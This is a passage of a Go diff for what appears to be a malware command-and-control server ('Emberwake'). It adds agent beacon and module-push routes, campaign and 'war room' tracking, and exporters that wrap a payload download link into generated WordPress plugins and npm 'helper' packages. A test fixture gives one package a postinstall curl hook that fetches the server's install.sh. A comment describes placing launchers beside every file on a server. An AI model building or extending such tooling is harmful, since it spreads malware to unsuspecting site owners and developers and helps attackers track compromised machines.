m.Features["auto_spread"] = true
|
||||
if VerifyModuleSignature(m, "tamper-secret") {
|
||||
t.Fatal("expected tampered manifest to fail verification")
|
||||
}
|
||||
}
|
||||
@@ -106,7 +106,7 @@ func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
|
||||
_ = h.db.LogCampaignEvent(c, id, dbpkg.CampaignEventDownload, "public_download", clientIP(r), r.UserAgent())
|
||||
}
|
||||
|
||||
build, err := h.db.GetBuild(id)
|
||||
|
||||
@@ -571,8 +571,19 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
|
||||
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
|
||||
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
||||
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
|
||||
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
|
||||
}
|
||||
|
||||
moduleStore := NewModuleStore(dataDir, func() string {
|
||||
fleetSecretForAgentPathsMu.RLock()
|
||||
s := fleetSecretForAgentPaths
|
||||
fleetSecretForAgentPathsMu.RUnlock()
|
||||
return s
|
||||
})
|
||||
moduleHandler := NewModuleHandler(moduleStore)
|
||||
r.Get("/fleet/modules", moduleHandler.ListModules)
|
||||
|
||||
// Shares
|
||||
r.Get("/shares", h.GetRecentShares)
|
||||
|
||||
@@ -597,9 +608,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
||||
if spreadHandler != nil {
|
||||
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
||||
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
||||
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
||||
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
||||
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
||||
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
||||
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
||||
}
|
||||
// Path Forge: walk a local server path, place launchers next to every file
|
||||
if pathForgeHandler != nil {
|
||||
@@ -693,6 +707,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
|
||||
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
|
||||
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
|
||||
|
||||
// Public builds (also bypass auth in middleware — listed here for chi routing)
|
||||
if publicHandler != nil {
|
||||
|
||||
106
server/internal/api/spread_export.go
Normal file
106
server/internal/api/spread_export.go
Normal file
@@ -0,0 +1,106 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var slugSanitize = regexp.MustCompile(`[^a-zA-Z0-9._-]+`)
|
||||
|
||||
// sanitizeExportSlug lowercases and strips unsafe characters for filenames and campaign segments.
|
||||
func sanitizeExportSlug(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
s = strings.ToLower(s)
|
||||
s = slugSanitize.ReplaceAllString(s, "-")
|
||||
s = strings.Trim(s, "-.")
|
||||
if s == "" {
|
||||
return "site"
|
||||
}
|
||||
if len(s) > 48 {
|
||||
s = s[:48]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// zipTemplateReplacements walks templateDir, applies repl to file contents, and writes a ZIP archive.
|
||||
// remap rewrites archive entry paths (e.g. plugin-template → my-site).
|
||||
func zipTemplateReplacements(templateDir string, repl map[string]string, remap func(rel string) string) ([]byte, error) {
|
||||
templateDir, err := filepath.Abs(templateDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
err = filepath.Walk(templateDir, func(path string, info os.FileInfo, walkErr error) error {
|
||||
if walkErr != nil || info.IsDir() {
|
||||
return walkErr
|
||||
}
|
||||
rel, err := filepath.Rel(templateDir, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel = filepath.ToSlash(rel)
|
||||
if remap != nil {
|
||||
rel = remap(rel)
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
w, err := zw.Create(rel)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.WriteString(w, content)
|
||||
return err
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := zw.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf.Bytes(), nil
|
||||
}
|
||||
|
||||
func writeZipAttachment(w http.ResponseWriter, filename string, data []byte) {
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
w.Write(data)
|
||||
}
|
||||
|
||||
func slugDisplayName(slug string) string {
|
||||
parts := strings.Split(slug, "-")
|
||||
for i, p := range parts {
|
||||
if p == "" {
|
||||
continue
|
||||
}
|
||||
parts[i] = strings.ToUpper(p[:1]) + p[1:]
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
func buildQuerySuffix(buildID, campaign string) (querySuffix, getQuerySuffix string) {
|
||||
var qparts []string
|
||||
if buildID != "" {
|
||||
qparts = append(qparts, "pin="+buildID)
|
||||
}
|
||||
if campaign != "" {
|
||||
qparts = append(qparts, "c="+campaign)
|
||||
}
|
||||
if len(qparts) == 0 {
|
||||
return "", ""
|
||||
}
|
||||
joined := strings.Join(qparts, "&")
|
||||
return "?" + joined, "&" + joined
|
||||
}
|
||||
@@ -1,13 +1,11 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -106,12 +104,41 @@ func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, map[string]interface{}{"campaigns": hits})
|
||||
}
|
||||
|
||||
// GET /api/v1/emberwake/war-room?days=7
|
||||
func (h *SpreadHandler) GetWarRoom(w http.ResponseWriter, r *http.Request) {
|
||||
days := 7
|
||||
if raw := strings.TrimSpace(r.URL.Query().Get("days")); raw != "" {
|
||||
if n, err := strconv.Atoi(raw); err == nil && n > 0 && n <= 90 {
|
||||
days = n
|
||||
}
|
||||
}
|
||||
data, err := h.db.ListWarRoom(days)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, data)
|
||||
}
|
||||
|
||||
type spreadKitExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
type wordpressPluginExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
|
||||
SiteName string `json:"site_name"`
|
||||
}
|
||||
|
||||
type npmHelperExportRequest struct {
|
||||
BuildID string `json:"build_id"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Campaign string `json:"campaign"`
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/spread-kit-export
|
||||
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
|
||||
var req spreadKitExportRequest
|
||||
@@ -133,20 +160,7 @@ func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
var qparts []string
|
||||
if req.BuildID != "" {
|
||||
qparts = append(qparts, "pin="+req.BuildID)
|
||||
}
|
||||
if req.Campaign != "" {
|
||||
qparts = append(qparts, "c="+req.Campaign)
|
||||
}
|
||||
querySuffix := ""
|
||||
getQuerySuffix := ""
|
||||
if len(qparts) > 0 {
|
||||
joined := strings.Join(qparts, "&")
|
||||
querySuffix = "?" + joined
|
||||
getQuerySuffix = "&" + joined
|
||||
}
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
@@ -157,48 +171,120 @@ func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request)
|
||||
"{{PIN_QUERY}}": "",
|
||||
}
|
||||
|
||||
var buf bytes.Buffer
|
||||
zw := zip.NewWriter(&buf)
|
||||
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return err
|
||||
}
|
||||
rel, err := filepath.Rel(templateDir, path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rel = filepath.ToSlash(rel)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
w, err := zw.Create(rel)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.WriteString(w, content)
|
||||
return err
|
||||
})
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if err := zw.Close(); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filename := "emberwake-spread-kit.zip"
|
||||
if req.Campaign != "" {
|
||||
filename = "emberwake-" + req.Campaign + ".zip"
|
||||
filename = "emberwake-" + sanitizeExportSlug(req.Campaign) + ".zip"
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
w.Write(buf.Bytes())
|
||||
writeZipAttachment(w, filename, data)
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/wordpress-plugin-export
|
||||
func (h *SpreadHandler) ExportWordPressPlugin(w http.ResponseWriter, r *http.Request) {
|
||||
var req wordpressPluginExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
req.SiteName = strings.TrimSpace(req.SiteName)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.SiteName == "" {
|
||||
http.Error(w, "site_name required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "wordpress-plugin", "plugin-template")
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "wordpress plugin templates not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
slug := sanitizeExportSlug(req.SiteName)
|
||||
wpCampaign := "wp-" + slug
|
||||
downloadURL := req.ServerURL + "/get?c=" + wpCampaign
|
||||
if req.BuildID != "" {
|
||||
downloadURL += "&pin=" + req.BuildID
|
||||
}
|
||||
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": wpCampaign,
|
||||
"{{SITE_NAME}}": slug,
|
||||
"{{PLUGIN_SLUG}}": slug,
|
||||
"{{PLUGIN_NAME}}": slugDisplayName(slug),
|
||||
"{{WP_CAMPAIGN}}": wpCampaign,
|
||||
"{{DOWNLOAD_URL}}": downloadURL,
|
||||
"{{VERSION}}": "1.0.0",
|
||||
}
|
||||
|
||||
remap := func(rel string) string {
|
||||
rel = filepath.ToSlash(rel)
|
||||
if rel == "plugin.php" {
|
||||
return slug + "/" + slug + ".php"
|
||||
}
|
||||
return slug + "/" + rel
|
||||
}
|
||||
|
||||
data, err := zipTemplateReplacements(templateDir, repl, remap)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, slug+"-wordpress-plugin.zip", data)
|
||||
}
|
||||
|
||||
// POST /api/v1/builder/npm-helper-export
|
||||
func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request) {
|
||||
var req npmHelperExportRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
req.BuildID = strings.TrimSpace(req.BuildID)
|
||||
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
|
||||
req.Campaign = strings.TrimSpace(req.Campaign)
|
||||
if req.ServerURL == "" {
|
||||
http.Error(w, "server_url required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if req.Campaign == "" {
|
||||
req.Campaign = "npm-helper"
|
||||
}
|
||||
|
||||
templateDir := filepath.Join(h.projectRoot, "templates", "npm-helper-package")
|
||||
if _, err := os.Stat(templateDir); err != nil {
|
||||
http.Error(w, "npm helper templates not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
querySuffix, _ := buildQuerySuffix(req.BuildID, req.Campaign)
|
||||
pkgName := "@aetherforge/" + sanitizeExportSlug(req.Campaign) + "-helper"
|
||||
repl := map[string]string{
|
||||
"{{SERVER_URL}}": req.ServerURL,
|
||||
"{{BUILD_ID}}": req.BuildID,
|
||||
"{{CAMPAIGN}}": req.Campaign,
|
||||
"{{QUERY_SUFFIX}}": querySuffix,
|
||||
"{{PACKAGE_NAME}}": pkgName,
|
||||
}
|
||||
|
||||
data, err := zipTemplateReplacements(templateDir, repl, nil)
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
|
||||
170
server/internal/api/spread_handler_test.go
Normal file
170
server/internal/api/spread_handler_test.go
Normal file
@@ -0,0 +1,170 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"archive/zip"
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func writeSpreadTemplates(t *testing.T, root string) {
|
||||
t.Helper()
|
||||
wpDir := filepath.Join(root, "templates", "wordpress-plugin", "plugin-template")
|
||||
if err := os.MkdirAll(wpDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(wpDir, "plugin.php"), []byte("<?php // {{PLUGIN_SLUG}} {{DOWNLOAD_URL}}\n"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(wpDir, "readme.txt"), []byte("Stable tag: {{VERSION}}\nCampaign: {{WP_CAMPAIGN}}\n"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
npmDir := filepath.Join(root, "templates", "npm-helper-package", "scripts")
|
||||
if err := os.MkdirAll(npmDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(root, "templates", "npm-helper-package", "package.json"), []byte(`{"name":"{{PACKAGE_NAME}}","scripts":{"postinstall":"curl {{SERVER_URL}}/install.sh{{QUERY_SUFFIX}}"}}`), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(npmDir, "postinstall.cjs"), []byte("// {{CAMPAIGN}}\n"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
spreadDir := filepath.Join(root, "spread-kit-web-publisher")
|
||||
if err := os.MkdirAll(spreadDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func readZipEntries(t *testing.T, body []byte) map[string]string {
|
||||
t.Helper()
|
||||
zr, err := zip.NewReader(bytes.NewReader(body), int64(len(body)))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out := make(map[string]string)
|
||||
for _, f := range zr.File {
|
||||
rc, err := f.Open()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data, err := io.ReadAll(rc)
|
||||
rc.Close()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
out[f.Name] = string(data)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestExportWordPressPluginZIP(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"build_id": "build-abc",
|
||||
"server_url": "https://deck.example:8989",
|
||||
"site_name": "My Blog",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportWordPressPlugin(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if ct := rec.Header().Get("Content-Type"); ct != "application/zip" {
|
||||
t.Fatalf("content-type %q", ct)
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "my-blog-wordpress-plugin.zip") {
|
||||
t.Fatalf("disposition %q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
php, ok := entries["my-blog/my-blog.php"]
|
||||
if !ok {
|
||||
t.Fatalf("expected my-blog/my-blog.php in zip, got %v", entries)
|
||||
}
|
||||
wantURL := "https://deck.example:8989/get?c=wp-my-blog&pin=build-abc"
|
||||
if !strings.Contains(php, wantURL) {
|
||||
t.Fatalf("php missing download url %q: %s", wantURL, php)
|
||||
}
|
||||
if readme, ok := entries["my-blog/readme.txt"]; !ok || !strings.Contains(readme, "wp-my-blog") {
|
||||
t.Fatalf("readme missing campaign: %v", entries["my-blog/readme.txt"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportNpmHelperZIP(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"build_id": "pin-1",
|
||||
"server_url": "https://deck.example",
|
||||
"campaign": "ci-bootstrap",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/npm-helper-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportNpmHelper(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
pkg := entries["package.json"]
|
||||
if !strings.Contains(pkg, "@aetherforge/ci-bootstrap-helper") {
|
||||
t.Fatalf("package.json: %s", pkg)
|
||||
}
|
||||
if !strings.Contains(pkg, "https://deck.example/install.sh?pin=pin-1&c=ci-bootstrap") {
|
||||
t.Fatalf("package.json missing install url: %s", pkg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportSpreadKitZIP(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{
|
||||
"server_url": "https://deck.example",
|
||||
"campaign": "wave-a",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-kit-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportSpreadKit(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
if !strings.Contains(entries["index.html"], "https://deck.example?c=wave-a") {
|
||||
t.Fatalf("index.html: %s", entries["index.html"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
writeSpreadTemplates(t, root)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
|
||||
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/wordpress-plugin-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportWordPressPlugin(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status %d", rec.Code)
|
||||
}
|
||||
}
|
||||
@@ -36,38 +36,43 @@ func coalesceStr(vals ...string) string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||
// resolveDashboardWSUser validates dashboard WS credentials and returns the username.
|
||||
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||||
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||||
func checkDashboardWSToken(r *http.Request) bool {
|
||||
func resolveDashboardWSUser(r *http.Request) (string, bool) {
|
||||
if ticket := r.URL.Query().Get("ticket"); ticket != "" {
|
||||
_, ok := consumeWSTicket(ticket)
|
||||
return ok
|
||||
return consumeWSTicket(ticket)
|
||||
}
|
||||
token := r.URL.Query().Get("token")
|
||||
if token == "" {
|
||||
return false
|
||||
return "", false
|
||||
}
|
||||
decoded, err := base64.StdEncoding.DecodeString(token)
|
||||
if err != nil {
|
||||
return false
|
||||
return "", false
|
||||
}
|
||||
parts := strings.SplitN(string(decoded), ":", 2)
|
||||
if len(parts) != 2 {
|
||||
return false
|
||||
return "", false
|
||||
}
|
||||
user, pass := parts[0], parts[1]
|
||||
if authCacheHit(user, pass) {
|
||||
return true
|
||||
return user, true
|
||||
}
|
||||
usersMu.RLock()
|
||||
stored, exists := authUsers[user]
|
||||
usersMu.RUnlock()
|
||||
if !exists || !checkPassword(stored, pass) {
|
||||
return false
|
||||
return "", false
|
||||
}
|
||||
authCacheSet(user, pass)
|
||||
return true
|
||||
return user, true
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||
func checkDashboardWSToken(r *http.Request) bool {
|
||||
_, ok := resolveDashboardWSUser(r)
|
||||
return ok
|
||||
}
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
@@ -102,8 +107,10 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
|
||||
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
|
||||
// broadcastDashboard and the ping loop never race on the same connection.
|
||||
type DashboardConn struct {
|
||||
Conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
Conn *websocket.Conn
|
||||
mu sync.Mutex
|
||||
Username string
|
||||
Page string
|
||||
}
|
||||
|
||||
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
|
||||
@@ -157,9 +164,10 @@ type WSHub struct {
|
||||
pendingCmdCallbacks map[cmdResultKey]chan map[string]interface{}
|
||||
|
||||
// HTTPS beacon fallback (T1071.001) — command queue when WebSocket is down.
|
||||
beaconMu sync.Mutex
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconMu sync.Mutex
|
||||
beaconLastSeen map[string]time.Time
|
||||
beaconCmdQueue map[string][]BeaconCommand
|
||||
beaconPolicyQueue map[string][]FleetAgentPolicy
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
@@ -182,6 +190,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
|
||||
beaconLastSeen: make(map[string]time.Time),
|
||||
beaconCmdQueue: make(map[string][]BeaconCommand),
|
||||
beaconPolicyQueue: make(map[string][]FleetAgentPolicy),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
|
||||
@@ -189,6 +198,7 @@ func NewWSHub(database *db.Database) *WSHub {
|
||||
// 3 minutes old but the row still says "online", force it offline.
|
||||
// This catches TCP half-open drops that slip past the ping/pong timeout.
|
||||
go h.runStaleAgentSweep()
|
||||
go h.runWarRoomBroadcast()
|
||||
|
||||
return h
|
||||
}
|
||||
@@ -735,6 +745,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
break
|
||||
}
|
||||
|
||||
if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
|
||||
_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
|
||||
}
|
||||
|
||||
if policy.LogAgentConnections {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
@@ -763,6 +777,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.agents[agentID] = ac
|
||||
h.mu.Unlock()
|
||||
|
||||
h.FlushBeaconPoliciesToWS(agentID)
|
||||
h.FlushBeaconCommandsToWS(agentID)
|
||||
h.ClearBeaconTransport(agentID)
|
||||
|
||||
@@ -1123,6 +1138,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
|
||||
})
|
||||
|
||||
case "capabilities_update":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var caps models.AgentCapabilities
|
||||
if err := json.Unmarshal(msg.Payload, &caps); err != nil {
|
||||
continue
|
||||
}
|
||||
h.UpdateAgentCapabilities(agentID, caps)
|
||||
|
||||
case "policy_ack":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
@@ -1162,8 +1198,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
// Verify dashboard session via short-lived ?ticket= or legacy ?token= (btoa creds).
|
||||
if !checkDashboardWSToken(r) {
|
||||
username, ok := resolveDashboardWSUser(r)
|
||||
if !ok {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
log.Printf("[auth] Dashboard WS rejected: bad or missing token from %s", r.RemoteAddr)
|
||||
return
|
||||
@@ -1175,7 +1211,7 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
dc := &DashboardConn{Conn: conn}
|
||||
dc := &DashboardConn{Conn: conn, Username: username, Page: "/dashboard"}
|
||||
dashID := uuid.New().String()
|
||||
h.mu.Lock()
|
||||
h.dashboards[dashID] = dc
|
||||
@@ -1184,7 +1220,16 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
defer func() {
|
||||
h.mu.Lock()
|
||||
delete(h.dashboards, dashID)
|
||||
remaining := 0
|
||||
for _, d := range h.dashboards {
|
||||
if d.Username == username {
|
||||
remaining++
|
||||
}
|
||||
}
|
||||
h.mu.Unlock()
|
||||
if remaining == 0 {
|
||||
h.broadcastPresenceUpdate(username, "", false)
|
||||
}
|
||||
conn.Close()
|
||||
}()
|
||||
|
||||
@@ -1209,15 +1254,49 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
"agents": agents,
|
||||
"stats": stats,
|
||||
})})
|
||||
_ = dc.WriteJSON(Message{Type: "presence_snapshot", Payload: mustMarshal(map[string]interface{}{
|
||||
"comrades": h.presenceSnapshotLocked(),
|
||||
})})
|
||||
